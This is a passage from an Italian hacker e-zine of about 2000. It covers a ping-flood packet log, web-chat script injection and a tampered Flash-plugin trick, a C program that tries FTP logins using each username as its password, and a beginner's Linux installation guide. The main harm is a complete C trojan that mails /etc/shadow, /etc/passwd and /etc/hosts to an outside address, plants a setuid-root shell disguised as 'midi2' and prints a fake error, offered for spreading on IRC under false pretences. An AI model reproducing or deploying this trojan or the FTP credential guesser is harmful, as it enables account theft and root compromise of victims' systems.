icmp: echo reply [tos 0xa0] 15:08:48.176082 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:48.187139 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:48.617360 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:48.627137 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:48.690703 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:48.702134 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:48.826656 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:48.837132 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:49.185419 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:49.197132 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:49.619542 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:49.632127 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:49.691305 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:49.702130 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:49.825981 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:49.837130 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:50.243500 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:50.257122 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:50.621141 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:50.632131 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:50.826752 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:50.837117 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:51.132581 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:51.142118 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:51.622838 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:51.632114 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:52.232960 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:52.242105 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:52.625537 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:52.637103 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:53.133437 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:53.147097 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:53.626067 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:53.637093 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:54.120675 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:54.132090 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] ....... [continua] Gli ip sono stati cambiati tutti: ipvittima.it sarebbe l'ip di chi viene attaccato ipattaccante1.it ipattaccante2.it ipattaccante3.it e ipattaccante4.it sarebbero invece gli ip di chi attacca (vuol dire che nel file siti.txt erano presenti solo 4 ip vulnerabili). Passiamo all'attacco vero e proprio. Prendiamo in considerazione questo: 15:08:27.563232 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:27.577313 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] Allora il concetto principale dell'attacco sta nell'effettuare una serie di ping sulla vittima. Quando qualcuno ci pinga, ci viene mandato un echo request (una richiesta di ping residente dentro un pacchetto di tipo icmp); quando veniamo pingati mandiamo al pingatore un echo reply (la replica al ping che ci è stata fatta, sempre residente in un pacchetto icmp) per dirgli che siamo online (lo scopo originario del ping è stato ed è quello di verificare la presenza di un host in rete). Teoricamente se quando pinghiamo qualcuno ci apparisse "Richiesta scaduta", quell'host non dovrebbe essere connesso ad Internet... ma non è sempre così, perchè una delle rule principali inserite nei firewall è proprio quella di bloccare gli icmp di tipo echo request in entrata ed evitare di mandare un echo reply in uscita. In tal modo apparirà al pingatore "Richiesta scaduta". Beh se provate a pingare la nasa.gov vedrete che questa non ci risponde ai ping, ma ciò non significa che non è online, perchè se infatti andate a collegarvi attraverso un browser al loro indirizzo, questo vi risponderà ritornandovi la pagina html. Ciò significa che evidentemente filtrano i pacchetti ICMP :) Ma ritorniamo a noi, la prima riga dell'output di sopra ci dice quindi che alle ore 15:08:27 (.563232 sono i decimi i centesimi ed i millesimi di secondo) ipattaccante1.it ha mandato un pacchetto icmp di tipo echo request a ipvittima.it. Il tos (type of service) è un campo contenuto nell'header IP che al momento non ci interessa capire. Alle 15:08:27 invece ipvittima.it ha risposto all'echo request di ipattaccante.it con un pacchetto icmp di tipo echo reply. Ecco, questo è il modo in cui si deve leggere l'output del windump. Credo che questo sia tutto. Saluti: sbuazz sbuazz Domanda che forse potrebbe interessare alle femminucce: Sono fidanzato?? Risposta: Attualmente 14 Dicembre 2000 NO! :( Un appello disperato a tutta Internet :) ____________________________________________________________________________ / SySF4|L /| +===========================================================================+ | | | | | [ Uso malizioso delle web chat ] | | | ---------------------------- | / +===========================================================================+/ I'm sorry for the times that I made you scream For the times that I killed your dreams For the times that I made your whole world rumble For the times that I made you cry For the times that I told you lies For the times that I watched and let you stumble Una delle cose più belle da fare in rete è poter parlare in tempo reale con altre persone. Nel corso dei vari anni si sono trovati vari sistemi per rendere possibile questa cosa, è stato inventato il protocollo IRC oppure si è provveduto a fare in modo che gli utenti potessero inserire del testo in una pagina html im modo che tutti gli altri potessero vedere il messaggio tramite browser. Mentre IRC è un protocollo sostanzialmente senza buchi (non è possibile bloccare una chat irc con facilità) moltissime web-chat sono potenzialmente insicure. Per web-chat intendo quelle chat in cui uno deve usare il browser, per inviare il testo deve cliccare da qualche parte e per poter leggere i messaggi deve continuamente ricaricare la pagina. Occhio però che ci possono essere anche chat che usano il browser ma si basano su Irc (per mezzo di un applet j ava per esempio) . Qui discuteremo solo delle web-chat più semplici e dei loro derivati tipo web-muri forum, guestbook e tutte qelle cose che vi permettono di lasciare del testo sul server remoto. in fondo l'unica differenza tra una chat e un muro virtuale, su cui ognuno può scrivere quello che vuole, è la frequenza con cui vengono scritti i messaggi e il look grafico. Tutte questi servizi si basano su dei cgi che prendono il vostro messaggio e lo collegano al codice html della pagina sul server, per sapere se una chat o un muro è del tipo descritto quando siete nella pagina che vi permette di inviare il messaggio guardate l'html della pagina se trovate molto probabilmente non è del tipo giusto se invece trovate
CIAO per scrivere CIAO in rosso. Il problema è quando si appiccicano alla pagina degli script JavaScript e allora sì che possono venir fuori dei problemi. Probabilmente sono tutte così insicure perchè JavaScript è una tecnologia relativamente nuova e così nessuno si è mai preoccupato di controllare che gli utenti non inseriscano degli script. Al massimo la cosa più fastidiosa che potesse succedere prima era che uno inserisse un immagine un po' grandicella così da rallentare il primo caricamento della pagina ma comunque non era una cosa di cui preoccuparsi più di tanto. JavaScript incece è un linguaggio di scripting che può essere mescolato al codice html della pagina e va a interagire col browser dell'utente e da qui si capisce il motivo per cui vale la pena preoccuparsi. Un pezzo di codice JavaScript è delimitato da due tag html ma come abbiamo visto la chat permette l'inserimento di tag html (molte volte è espressamente scritto anche nella pagina "Puoi inserire tag html !!!") e non è certamente così intelligente da distinguere un tag da un altro. Lei si limita a prendere il testo così come lo avete scritto ed ad appenderlo al resto della pagina. Fine del suo lavoro. NON C'E' MOTIVO PER STARE TRANQUILLI infatti nessuno vieta a malintenzionati di infilare degli script semplicemente scrivendoli al posto del messaggio tradizionale da inviare. Vediamo alcuni script "cattivi" 1) 2) 3) Il primo fa apparire continuamente una finestrina con scritto "Browser bloccato" che non permette di fare altro se non quello di chiuderla per poi riapparire subito dopo. Il secondo distruge la pagina appena scaricata, il risultato è una pagina vuota. Il terzo redirige l'utente in un altro sito. Tutti e tre rendono il servizio inutilizzabile. Quando è possibile allora bisognerebbe impedire agli utenti di inserire dei tag html. CURIOSITA' anche alcuni motori di ricerca non sono immuni dai "bad tag" Virgilio e Arianna per esempio non lo sono. Il bug è dato dal fatto che molto sppesso il motore di ricerca scrive nella pagina dei risultati la stringa cercata "pamela anderson xxx" found 1927152379 pages tanto per fare un esempio. Se voi cercate lo script che volete provare, il risultato è facilmente immaginabile. Qui però non succede nulla di grave perchè la pagina coi risultati non esiste realmente; viene generata lì per lì e passata al vostro browser e solo a quello quindi al massimo riuscireste a bloccare solo voi stessi. Provate a cercare su Virgilio se nel frattempo non hanno corretto il bug dovreste vedere un messaggino di dialogo apparire dal nulla. Hotmail dal canto suo è (era???) vulnerabile agli script infilati dentro alle e-mail spedite come pagine html invece che come testo semplice così che bastava inviare una lettera a un certo indirizzo per fare implodere il browser mentre lo sfortunato destinatario si apprestava a leggerla. Da Outlook bastava scrivere un messaggio qualsiasi (nuovo messaggio, formato--->Testo in formato html) e poi invece di inviare il messaggio salvarlo (file .eml), aprire il file appena salvato con un quasiasi editor di testo e infilargli lo script desiderato tra gli altri tag e quindi salvare nuovamente. Un doppio clic sul file .eml ci riporta ad Outlook e ora che l'e-mail è stata "trattata" se vi sentite moooolto bastardi dentro potete provare a inviarla a quel vostro carissimo amico che ha l'account di posta xxxxx@hotmail.com. Un paio di mesi fa hotmail era palesemente vulnerabile, in quanto le e-mail in formato html il browser le vedeva ... beh esattamente per quello che poi sono... pagine html, le renderizzava, eseguiva gli scriptini e cazzi vari e ooops... Sfortunatamente chi attacca può fare danni anche peggiori per esempio una pagina trappola che danneggia i browser degli utenti e qui la colpa è anche un po' di Internet Explorer che permette al mondo esterno di aggiornare le componenti di sistema. Avete presente il plugin per vedere i siti fatti con Macromedia Flash o Director ? Bene, volendo uno lo può mettere fuori uso; :o( gli basta andare nel sito della Macromedia e scaricarsi il file .cab che contiene il plugin compresso, scompattarlo, aprire il file .ocx allegato e ->rovinarlo<- togliendone via un pezetto a piacere magari dopo averlo aperto e salvato con un editor di testo. A questo punto basta rifare il file .cab con lo stesso nome e gli stessi file che conteneva prima (il file .inf e l'.ocx) e caricarlo in uno dei tanti spazi web gratuiti. Fatto ciò all'esecutore dell'attacco basta andare in una delle tante web-chat/web-muri e digitare questo messaggio Questo farà credere a Internet Explorer che è stata rilasciata la versione 6 del flash mentre invece l'ultima è la 5. In futuro chiunque acceda a quella pagina si vedrà apparire un messaggio che chiede se si vuole aggiornare il plugin del flash e se uno risponde "sì" si installerà la "nuova" versione che però non funziona perchè manomessa. Questo succede perchè Internet Explorer confronta la versione installata con quella dichiarata nell'html e se ne trova una più recente chiede se si vuole fare l'aggiornamento. Come abbiamo visto però non c'è motivo di fidarsi di quello che c'è scritto in un documento html soprattutto quando questo può essere modificato dal primo che passa. Gli amministratori del sito hanno in mano i log degli accessi alle pagine però tutti sappiamo quanto sia facile nascondere il proprio Ip con proxy e quant'altro quindi attenzione. ____________________________________________________________________________ / Marm /| +===========================================================================+ | | | | | [ Utenti mooolto furbi ] | | |------------------------- | / +===========================================================================+/ Vi siete mai chiesti quante persone che hanno un qualche account in un server mettono la propria password uguale al proprio login? lo so voi direte.. "naaaa, nessuno! chi è cosi pugnetta?!" eheh, non è la risposta giusta, avrò visto almeno 832423847623 utenti che avevano login e password uguale. aah no no 832423847622 scusate. In questo articolo vi mostro un programmino codato da me che dato un passwd quello del formato: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: .... non lo shadow con le pass criptate, perche se avete quello lasciate perdere il mio programma e cominciate subito crackare le pass con il fido jhonny. cmq.. si, dato un passwd tenta di loggarsi via ftp con login = login password = login per ogni utente che detta il passwd. figo no? Questo programma ha 2 utilità, 1) per sgamare account 2) per conoscere il quoziente intellettivo degli utenti di quel server. se l'utente pippo ha come password "pippo", beh sappiamo a priori che quell' individuo è veramente mooolto furbo, sveglio e dotato di grande intelletto. benez! ora decidiamo come impostare il programmino, io direi che sarebbe bello una cosa del tipo.. ./programma passwd IPvittima si, insomma prendiamo dalla riga di comando il primo argomento che è il file passwd e un secondo argomento che è l'host della vittima. e ora.. codiamo!!! /* coded by Marm! */ #include #include #include #include #include #include #include #include un po di header, nulla di strano. void verifica(char *login, char *host); void usage(char *nome); u_long risolvi(char *host); prototipi delle funzioni definite da me per arrivare al mio scopo :)) odio mettere tutto un mega blocco di codice sulla main(), preferisco assegnare compiti ad altre funzioni che costruisco e chiamarle dalla main quando servono. Vediamo un po di spiegare, la mia main() pija il passwd e preleva ogni login e lancia per quel login la funzione verifica che vede se logga. la funzione usage è nel caso che lo stronzo non lanci il programma con il formato ./programma passwd host, allora gli dice come deve usare il prog. la funzione risolvi server per risolvere l'host della vittima che mettiamo da riga di comando. uaz uaz continuiamo!!! int main(int argc, char *argv[]) { int ftp; char buffer[256], *duepunti, *login; FILE *fp; if(argc < 3) usage(argv[0]); -- e zi, se il numero di argomenti è inferiore a 3 richiama la funzione usage passandogli come argomento argv[0], argv è un array di puntatori ed è li che ci sono i nostri argomenti da riga di comando.. lo standard dice che argv[0], con indice 0 appunto, sia il nome stesso del programma lanciato. poi argv[1] è il primo argomento (il passwd) argv[2] quindi sara l'host del server. la funzione usage è semplicissima: void usage(char *nome) { printf("Usa: %s \n", nome); exit(-1); } quindi lanciando ...# ./programma blablabla il numero di argomenti è inferiore di 3 e ti dice Usa: ./programma :))))))) (i sorrisetti ce li ho messi io, non li stampa il programma eheh) cmq continuiamo. if((fp = fopen(argv[1], "r")) == NULL) { printf("Errore nell'apertura del file %s\n", argv[1]); exit(-1); } ok, apriamo il file che lo stronzo ci ha dato dalla riga di comando, argv[1] e lo apriamo in modalita lettura ("r"), se la fopen() ha dato problemi torna NULL e stampiamo il nostro messaggio di errore, altrimenti la fopen() restituira un magico descrittore. OK!!!! ora cominciamo a fare un po piu sul serio! while(fgets(buffer, 256, fp) != NULL) { duepunti = strchr(buffer, ':'); login = (char *)malloc(duepunti - buffer); memcpy(login, buffer, duepunti - buffer); if((ftp = strcmp(login, "ftp")) == 0) continue; verifica(login, argv[2]); } } e ok la funzione main è finita. ora spieghiamo un po questo blocco di codice perche non credo sia chiaro a tutti. con while(fgets(buffer, 256, fp) != NULL) { leggiamo riga per riga il nostro file, e fin qui tutto ok. duepunti = strchr(buffer, ':'); allora, strchr è una funzione che prende come argomenti una stringa e un carattere e ritorna un puntatore alla prima occorrenza del carattere (passato come secondo parametro) nella stringa. ragionando in termini piu tecnici... se la stringa buffer inizia all'indirizzo di memoria 3000 (è solo per esempio!)e la stringa è "ciao:" il carattere ':' è all'indirizzo 3004 utilizzando la funzione strchr in questo caso ritornerebbe un puntatore all'indirizzo 3004. se nella stringa non ci fosse nessuna occorrenza di ':' strchr tornerebbe NULL. e cosi la variabile che il programma chiama duepunti è un puntatore alla prima occorrenza di ':' nella stringa buffer. ricordo che il passwd è in questo formato: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: okky.. ora dobbiamo mettere quello che cè prima del ':' e sbatterlo su un altra stringa volendo fare una finezza, quest'altra stringa dove mettiamo il login viene allocata dinamicamente quindi: login = (char *)malloc(duepunti - buffer); la funzione malloc() alloca uno spazio in memoria delle dimensioni che dice il suo unico parametro. Si ma quanto spazio devo allora?!?!?! Qui ci viene in aiuto l'aritmetica dei puntatori. Nel caso di prima, quello di "ciao:" duepunti sarebbe stato 3004 e buffer 3000, duepunti - buffer quindi....dai non è difficile. Infatti "ciao" è appunto di 4 caratteri (un carattere è un byte) e allocchiamo allora 4 byte in memoria. la funzione malloc ritorna poi un puntatore a questa allocazione di memoria. si ma ora in questo spazio ci dobbiamo mettere il login. memcpy(login, buffer, duepunti - buffer); quindi cominciamo a copiare in login, i caratteri dall'indirizzo di buffer per (duepunti - buffer) caratteri. :)) if((ftp = strcmp(login, "ftp")) == 0) continue; se il login è "ftp" non esegue le istruzioni dopo ma ricomincia il ciclo, il motivo ve lo spiego dopo. oooooooooooooooooh verifica(login, argv[2]); e ora lancia la mia funzioncina verifica() passandogli come parametri il login e il secondo argomento da riga di comando che è l'host del server. andiamo a vedere la funzione verifica(). void verifica(char *login, char *vittima) { struct sockaddr_in host; int sock, n = 0; char buffer[256], send[30]; fd_set fdset; sock = socket(AF_INET, SOCK_STREAM, 0); -- creiamo il nostro socket.. (per capire meglio queste parti magari è meglio se leggiate prima l'articolo su come si costruisce un demone, anche se ora utilizziamo il tutto dal lato client) host.sin_family = AF_INET; host.sin_port = htons(21); host.sin_addr.s_addr = risolvi(vittima); okky riempiamo la nostra magica struttura (è magica, ve lo assicuro) FD_ZERO(&fdset); FD_SET(sock, &fdset); bzero(send, 30); sprintf(send, "user %s\n", login); uh!! e qui? ok ora è veramente dura da spiegare, per questo programmino ho voluto utilizzare una finezza per gestire quello che l'ftp server ti manda, e questa finezza è utilizzare la funzione select(), lanciata la funzione select() questa ritorna solo quando un determinato descrittore è pronto per la lettura, è pronto per la scrittura, o per casi particolari, o quando è passato un determinato ammontare di tempo. analizziamolaz: int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout); no no asp, toglietevi le mani dai capelli, ora spiegoz o almeno ci provo :P Non sono chiari i parametri fd_set *readfds, fd_set *writefds, fd_set *exceptfds. con readfds specifichiamo quali sono i descrittori che vogliamo che il kernel testi per situazioni di input, di lettura. writefds stessa cosa ma di scrittura, e exceptfds per condizioni speciali che esulano dallo scopo di questo articolo (uh! era una vita che volevo dire una cosa del genere, fa figo!) ihih ora la domanda è: "ma come facciamo a dirgli quali descrittori voglio che siano testati per condizioni di lettura, se gli passiamo una variabile readfds che non centra un cacchio coi nostri descrittori?!" beh semplice, quei parametri sono di tipo fd_set, che possiamo considerare una variabila i cui suoi bit corrispondono ad un descrittore, e utilizziamo le macro FD_ZERO, FD_SET, FD_CLR, FD_ISSET per gestirla. quindi facendo riferimento al nostro codice (mio!! :PP)... FD_ZERO(&fdset); azzera tutti i bit nella nostra variabile fdset e FD_SET(sock, &fdset); setta in fdset il bit corrispondente al nostro descrittore sock .. ritorneremo dopo su questo argomento. continuiamo. dopo la sprintf() ora la stringa send contiene "user LOGIN" dove login è il login acchiappato dal passwd. per loggarsi via ftp si fa così USER login PASS password noi non ce ne accorgiamo quando usiamo un ftp client perche questo lo fa ello e a noi lascia mettere solo login e pass, ma lo standard del protocollo FTP, (leggete RFC dell ftp :)) ) vuole la prassi che ho detto. continuiamo.. if(connect(sock, (struct sockaddr *)&host, sizeof(host)) < 0) { printf("errore nella connessione\n"); } beh, prima di sparare la stringa per loggarsi, bisogna o no connettercisi a questo server? La funzione connect fa appunto questo.. prende come parametri il descrittore del socket restituito dalla socket(), la nostra struttura sockaddr che non abbiamo, visto che noi utilizziamo una struttura sockaddr_in, ma ci viene in contro il type casting, poi altro parametro è la dimensione di questa struttura. La funzione connect restituisce -1 se il tentativo di connessione fallisce. while(1) { select(sock +1, &fdset, NULL, NULL, NULL); eccoci qui! il perche gli ultimi 3 parametri sono NULL è semplice, non dobbiamo testare nessun descrittore ne per casi di scrittura ne per condizioni speciali, ne tanto meno (ultimo parametro) ci serve dare un tempo limite per il quale il nostro descrittore sock deve avere condizioni di lettura. la select poi, setta a 0 tutti i bit dei descrittori per i quali non si è verificato l'evento, è per questo che il bit del descrittore che ci interessa deve gia essere settato a 1. perche la select non setta il descrittore interessato ma pulisce tutti gli altri. Per il primo parametro cè un pochino da ragionare. E' il massimo numero di descrittore che la funzione deve testare. sappiamo che il valore dei descrittori, parte da 0 in poi.. quindi se abbiamo 0,1 e 2, anche se il valore piu grande tra i descrittori è 2, i descrittori in se e per se sono 3. infatti quando usiamo la funzione select per piu descrittori.. per il primo parametro siamo forzati a calcolare chi di quelli ha il valore piu grande..e aggiungere 1 dopo. Uff, mi sembra tanto di spiegarle male le cose, forse perche sono pressato dal tempo :), cmq sia per chiarimenti marm_boy@hotmail.com continuiamo. if(FD_ISSET(sock, &fdset)) { read(sock, buffer, 256); okky! quando la select ritorna, con la macro FD_ISSET, vediamo se il descrittore sock è realmente pronto per la lettura.. e se si.. read(sock, buffer, 256); leggiamo e mettiamo tutto in buffer. OK! il server ci ha sparato qualcosa.. ma dobbiamo vedere cosa è sta cosa, siamo in presenza di un ciclio infinito, ricordiamo il while(1), quindi gestiamo l'ipotesi che abbiamo gia sendato il tutto per loggarci(sta parte l'ho messa dopo.. tanto è un ciclo.) quindi verifichiamo se in quello che ci spara il server è presente la stringa "logged in" il che vuol dire .. indovinate un po?!. quindi quando si verifica sto fatto.. printiamo allo stronzo "login loggato" e quindi..... if((strstr(buffer, "logged in")) != NULL) { printf("%s loggato\n", login); close(sock); return; } la funzione strstr di string.h cerca la nella stringa passatagli come primo parametro un occorrenza di una intera stringa che è il secondo argomento... se si vabbeh, torna un puntatore a quell'indirizzo.. ma a noi non interessa piu di tanto... interessa se o no ci sta la stringa "logged in". nel caso non ci sta, ritorna NULL.. quindi se non è NULL.. printf("%s loggato\n", login); , chiudiamo il socket e ritorniamo alla main() che ha chiamato questa funzione, il quale leggera altra riga da passwd prelevera login etc... ok.. ora pero non possiamo dire "se non cè "logged in" allora non logga login e pass uguali per quel login. perche con questa gestione.. noi le stringhe che ci manda il server le prendiamo tutte.. anche quindi.. 220 localhost.localdomain FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30.. quindi noi diciamo che non logga quando specificatamente vediamo arrivarci una stringa "Login incorrect", cosi.. if((strstr(buffer, "Login incorrect")) != NULL) { close(sock); return; } } se ci sta "Login incorrect" chiudiamo il socket e torniamo alla main per verificare il successivo login. uaz uaz. il perche ho preferito prima la gestione di quello che ci spara il server piuttosto quello che sparo io a lui ora non me lo ricordo, sto programma l'ho codato pure su commissione azzen, ora non ce l'ho presente il motivo cmq è uguale. ho voluto gestire i messaggi che mando io al server in questo modo, n è inizializzata a 0, e io guardo il valore di n, se è 0 allora ancora non ho mandato nulla.. e quindi sendo il mio "USER ...." e incremento n di 1, perche il ciclo dopo, se n è 1 allora sendo "PASS ..." :) tutto qui. eheh lo so, la mia mente è astratta :P cmq sia.. continuiamo con il codice. switch(n) { case 0: { write(sock, send, strlen(send)); n += 1; bzero(send, 30); sprintf(send, "pass %s\n", login); break; } -- send era gia inizializzata all'inizio con la sprintf.. ricordiamo il sprintf(send, "user %s\n", login); incremento n di 1 e azzero send, per poi metterci la stringa per mandare la verifica della password. case 1: { write(sock, send, strlen(send)); n += 1; break; } default: break; } } } se è uno appunto senda la string send che gia ci è messo dentro "PASS login" .. ed eccoci qui.. finito il programma. la funzione risolvi() non spreco tempo a metterla.. una funzione cosi la si trova su qualsiasi sorgente di applicazioni client/server in C. Ripeto: per chiarimenti mail to marm_boy@hotmail.com ora vi salutoz alla proxima. ____________________________________________________________________________ / SpYBoY /| +===========================================================================+ | | | | | [ Social enginned ] | | | --------------- | / +===========================================================================+/ Autore : SpYBoY dedicato : gavick (il mio piu' grande amico di IRC) Prima cosa voglio dirvi che la ssystem e' la migliore rivista che ho mai letto, e per la quale ho mai scritto, e' una rivista di libera informazione e che e' l'unica che parla di etica Hackers e sopratutto ragionano come hacker, perche' ormai gli hackers si con-traddistinguono soprattutto perche' ragionano piu' degli altri, come detto nella prima uscita di "ssystem". Io non sono un hacker, anzi se vi devo essere sincero mi definisco piu' un wannabe, pero' ho sete di informazione, perche' "SAPERE E' POTERE". Adesso la finisco di dire cazzate sperando che me lo permettano :) passo ai fatti !! 1. Social enginned 2. Programma 3. Source 4. Spiegazioni 5. Saluti Social Enginned: beh credo che tutti sappiate cos'e' questa tecnica, in caso contraio vi consiglio di andare a giocare a quake III. No dai! scherzo, questa e' la migliore tecnica usata dagli hackers, anche la mia, e forse e' l'unica che mi ha dato sempre soddisfazioni. Tutto cio' che dovete fare, e' spacciarvi per un altro o per un'altra per ottenere informa- zioni da qualche altro, persino le passwd di un rispettivo sistema. Tutto quello che ci serve, e' solo una grande immaginazione e tecnica !!! Programma: Il programma che inserisco in questo articolo e' davvero molto semplice da capire da compilare e da usare. Questo non e' altro che un trojan di piccolissime dimensioni, anzi per farvi capire meglio vi dico solo che il codice in C da me utilizzato non oltrepassa le 10 righe; egli non fa altro che mandare alla vostra casella di posta elettronica i seguenti file: /etc/hosts /etc/shadow /etc/passwd adesso vi do subito una spiegazione di questi 3 file, /etc/hosts non serve a molto, pero' in tal caso che la vittima eseguira' il file da un'altra postazione voi lo saprete, e vi verra' comunicato anche l'ip di tutte le macchine comprensive in quella rete. /etc/passwd e' una comodita' per vedere che genere di permessi ha ciascuno utente e per finire /etc/shadow, un file che vi incuriosisce, infatti in questo file ci sono le passwd decriptate da linux e a voi non basta far altro che cracckarle con un bel programmino come John the Ripper, oppure "Crack 5.0" ed ecco a voi le passwd. Come molti di voi sanno, purtroppo le passwd di linux hanno un tempo di decifratura molto lunga allora vi aggiungo un'opzione dell'ultimo momento, la creazione di un secondo file /bin/bash con permessi 4777 e adesso vi spiego il perche'; la passwd di root penso che per la maggior parte degli amministratori sia la piu' protetta e piu' difficile da decifrare, allora a voi basta cracckare una passwd ed andare nella dir prestabilita dal programma (/mnt) ed eseguire midi2 cosi' $ ./midi2 ed ecco come per magia # wow shell !!!! mitico adesso largo alla fantasia Source: [[[[[[[[[ Comincia a tagliare ]]]]]]]]]] main (){ system("/bin/more /etc/shadow | mail tuamail@tin.it"); system("/bin/more /etc/passwd | mail tuamail@tin.it"); system("/bin/more /etc/hosts | mail tuamail@tin.it"); system("cp /bin/bash /mnt"); system("chmod 4777 /mnt/bash"); system("mv /mnt/bash /mnt/midi2"); system("clear"); printf("Program not found\n"); exit(0); } [[[[[[[[[[ Smetti di tagliare cazzo ]]]]]]]]] Spiegazioni: Le uniche 2 righe che non vi ho spiegato sono quella del clear e del printf. Il clear cancella la schermata di linux per non far vedere all'amministratore eventuali errori oppure distrazioni. Program not found non e' altro che una stringa inserita volonta- riamente per far credere all'admin che il programma non funzioni. Saluti: Spero di esservi stato di aiuto, chiaramente l'idea del programma la potete girare come volete, che ne so lo distribuite su IRC con la scusa che sia uno smurf, oppure lo mandate a qualche societa' e dite che sia un programma per testare la sicurezza del sistema. Prometto che funziona. Se ci sara' un mio prossimo articolo, vi parlero' di qualche trucchetto per windows 9.x e windows NT, con rispettivi bug, spiegazioni e tecniche di forza bruta (DDoS). Per insulti, commenti, chiarimenti e congratulazioni, vi prego di farlo a spyboy@freemail.it Ringrazio ancora ssystem e buon hacking a tutti a8888b. _ d888888b. |_| 8P"YP"Y88 _ _ _ _ _ _ __ _ 8|.||.|88 | | | | | \ | | | | | | \ \ / / 8' .88 | | | | | \ | | | | | | \ \/ / 8`._.' Y8. | | | | | \| | | | | | \ / d/ `8b. | | | | | |\ | | | | | / \ dP . Y8b. | |___ | | | | \ | | \_/ | / /\ \ d8:' " `::88b |_____| |_| |_| \_| \___/ /_/ \_\ d8" 'Y88b :8P ' :888 88888a: _a88P ._/"Yaa_: .| 88P| \ YP" `| 8P `. / \.___.d| .' `--..__)8888P`._.' (ascii-art by J.Stark) ____________________________________________________________________________ / SySF4|L /| +===========================================================================+ | | | | | [ La prima installazione di Linux ] | | | ------------------------------- | / +===========================================================================+/ Scelta della distribuzione ========================== Prima di intraprendere l'installazione vera e propria di un sistema Linux bisogna scegliere quale distribuzione installare. Ma cosa sono le distribuzioni? Diversamente da Windows di Linux non esiste un'unica versione ma diversi "modelli" proposti da altrettante case. Abbiamo per esempio Linux di Red Hat, Mandrake, Debian, Slackware, Corel, ecc ecc. E ovviamente per ognuna diverse versioni Red Hat 6.1, 6.2 Mandrake 7, 7.1 ecc ecc. Se vogliamo installare Windows possiamo andare dal nostro negoziante (masterizzatore) e farci dare la versione più aggiornata del prodotto tenendo conto che Windows 98 è migliore rispetto a Windows 95 che è meglio di Win 3.1 e così via. La scelta quindi è "monodimensionale" influenzata solo dalla versione, più recente è la versione migliore è il Windows in questione. Per Linux la scelta è "bidimensionale", oltre alla versione c'è da scegliere (potendo farlo) la casa distributrice; anzi prima della versione si guarda proprio la casa distributrice in quanto pur essendo sostanzialmente uguale ogni distribuzione è mirata a un certo target di utenti. Solo dopo aver scelto la distribuzione si opererà la scelta della versione nel modo classico preferendo quella più avanzata. Faccio una breve descrizione per le principali ditribuzioni: REDHAT: è forse la più diffusa in circolazione, è stata la prima distribuzione a pensare in maniera seria ai principianti offrendo un'installazione veramente semplice senza nulla togliere ai servizi di rete che la rendono a nche un discreto server. Offre inoltre un sistema estremamente semplificato anche per quanto riguarda l'installazione di nuovi programmi introducendo i pacchetti Rpm concettualmente molto simili ai file setup.exe di Winzoz. MANDRAKE: Anche questa è una distribuzione adatta ai principianti in quanto offre un processo di installazione veramente facile (nella versione 7 pure più semplice di RedHat) Supporta gli stessi rpm di RedHat quindi anche qui è facile installare/rimuovere software. Gli sviluppatori di Mandrake sono particolarmente attenti alle novità e non hanno paura di introdurre nelle loro distribuzione gli ultimi ritrovati. Offre più programmi di RedHat ma i servizi di rete sono meno sviluppati; questo la rende più adatta come workstation che come server. SUSE: Personalmente non conosco molto bene questa distribuzione, le uniche cose che so è che è facile da installare e che è la distribuzione con più programmi in assoluto (6 cd nella versione completa) Il suo lato negativo è che ha la fama di essere anche molto buggata, conseguenza forse dovuta al gran numero di programmi. Non se ne vedono tante in giro. COREL LINUX: Anche Corel ha prodotto la sua prima distribuzione forse però deve farsi ancora un po' di esperienza prima di produrre una versione veramente competitiva. Per il momento è una delle distribuzioni "facili" e adatta sopratutto come 